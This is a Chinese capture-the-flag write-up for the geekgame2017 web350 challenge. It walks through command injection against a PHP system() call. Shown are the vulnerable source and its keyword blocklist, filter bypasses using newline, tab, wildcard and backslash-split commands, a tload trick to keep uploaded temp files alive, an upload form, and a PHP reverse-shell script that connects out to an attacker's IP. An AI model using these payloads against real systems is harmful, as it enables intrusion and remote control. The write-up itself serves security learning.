geekgame2017 web350 你的名字 做題記錄

weixin_33912445發表於2017-10-30

geekgame2017 web350 你的名字 做題記錄

預期解法

出題人原本是希望通過linux豐富的讀取檔案的指令加上?萬用字元的方式獲得flag

  • 拿到題目,發現出一些特殊字元返回 蛤?。說明有waf,fuzz一下發現剩下的字元不多,%20以下的字元,還有就是[]^?._\
  • 嘗試命令執行,可以猜想出題的結構應該是類似
system("echo "."你的名字是:". $_GET['name']) ;

通過%0a的符號,可以換行執行新的目錄,通過%09可以代替空格

7513396-38c4bfb141228bad.png
image.png
  • 嘗試列目錄、讀檔案,發現ls、cat等常用命令都被ban了。也就是說,需要找一個沒有被ban的讀取檔案的命令。另外,php的關鍵字也被ban了,讀取index.php還需要想辦法繞過。
  • 想到之前小密圈大佬們討論過一次各種讀取檔案的命令,開始逐個嘗試。
cat、tac、nl、more、less、head、tail、od、strings、base64、vi、sort、pg、uniq

嘗試uniq成功,然後的問題是怎麼繞過php的限制。
回到開始fuzz可用字元的地方,看到了?。linux裡?可用來通配一個字元,也就是說index.ph?可以匹配到index.php

7513396-71a4410a69e9dcba.png
index.php
  • 讀取到原始碼如下,其實原始碼和本題沒什麼關係
<?php

  function valid_input($input) {
    if (preg_match('/^\w*$/m', $input)) {
       if ($input == 'jiangxx') {
          die("蛤蛤,我把flag藏起來了,你看的到在哪裡麼?");
       }

       if(preg_match('/php|bash|sh|perl|python|rm|cd|cp|mv|shred|wipe|ls|find|cat|tac|more|less|head|tail|nl|rev|ll|expr|cut|wget|curl|grep|sed|awk|vim|vi|base64|echo|where|hexdump|dir|read|tee|:|`|od|\ |;|\'|\"|@|!|\(|\-|\)|~|\*|&|@|\\||>|<|\||\$|{|}|\//', $input)) {
          return false;
       } else {
          return true;
       }
    } else {
       return false;
    }
  }
  
 if(isset($_GET['name'])) {
 if (valid_input($_GET['name'])) {
   system("echo "."你的名字是:". $_GET['name']) ;
 } else {
   echo "蛤?";
 }
 } else {
   echo "Em...我不知道你的名字";
 }
  • 然後因為當時沒想到切目錄的事情,所以在當前目錄嘗試找flag。既然 ? 能通配字元,是不是fuzz不同長度的 ? 就行了。結果竟然沒找到flag。找了半天沒找到,後來學弟說是隱藏檔案,我還是覺得有點奇怪為什麼 ? 沒有匹配隱藏檔案的 . ,可能那個不算是檔名的一部分吧。
    burp爆破


    7513396-33c174a2d8533dac.png
    burp
7513396-0bbc568d2d2907b8.png
result

非預期

非預期的解法是因為出題人的正則寫的有問題,導致 \ 沒有被ban掉。

7513396-48ec78eae7610d6a.png
正則

這裡的

|\\||

|\||

效果一樣,因為php沒有把 \| 當成是 |,然後在正則中起效。(補充一下,對於preg_match來說,他的pattern首先本身是個字串,所以會存在轉義的問題,也就是比如\\轉義後變成了\,然後由php轉義後的字串,作為pattern來正則解析的時候,\|又成為了|,因為在正則裡|是個特殊字元,過濾它需要轉義。因為php是不會把\|轉義的,因此,截圖中,|\\|||\|傳遞給正則時都是|\|,也就是所謂的效果一樣。而出題人本身可能是希望|\\|來過濾\吧。。。正確的寫法應該是|\\\\|
而在linux中,\ 分開的字元可以拼接,l\s 和 ls一樣。
這樣一來本題讀取flag就非常簡單,用fin\d .來找到隱藏檔案,用ca\t xxxxxx來讀取flag

非預期導致getshell

做完聽說出題人說這題能夠getshell,我就開始嘗試getshell的方式。
首先,web目錄用下rm命令就知道不可寫,也就是說不能再web目錄操作。
找了好多反彈shell的命令,發現都或多或少的用到了被ban掉的字元。
然後出題人給的思路是melody之前提過的檔案包含導致getshell的方法。連結在這裡

http://www.melodia.pw/?p=728

這思路我之前也想過,但是當時沒有get到本質。
這個利用點的本質就是打斷php的這個程式,比如死迴圈,讓它一直不結束,tmp目錄的檔案自然就一直存在了。

  • 首先是要能到達tmp目錄,這個只要你一直往上cd就行
%0ac\d%09..%0ac\d%09..%0ac\d%09..%0ac\d%09tmp%0al\s
7513396-2d0e055d0f5d2c7c.png
到達tmp
  • 然後你要能使得php的程式死迴圈,這個當時我是一下子想起來前一天做題時候,ps看到的tload命令,它就會讓php的程式一直跑著,其他的類似ping也可以。
  • 構造一個upload頁面
<html>
<body>

<form action="http://game.sycsec.com:2012/?name=%0atload" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" /> 
<br />
<input type="submit" name="submit" value="Submit" />
</form>

</body>
</html>
  • 最後還有一個關鍵點是,你上傳上去的是什麼,要幹什麼。
    因為不能通過webshell的方式getshell,所以我們需要的是反彈shell。也就是說,我們傳一個反彈shell的指令碼,然後執行它,比如sh指令碼,python指令碼等。
  • 我測試發現sh和python都沒成功,python命令都沒有,後來通過php的反彈shell的指令碼成功。這裡推薦phithon反彈shell的php指令碼
https://www.leavesongs.com/PHP/backshell-via-php.html
<?php

$sock = fsockopen($ip, $port);
$descriptorspec = array(
        0 => $sock,
        1 => $sock,
        2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
  • 上傳php檔案,修改臨時檔名,執行php即可getshell
7513396-41f7215f50990933.png
getshell

總結

linux博大精深Orz

相關文章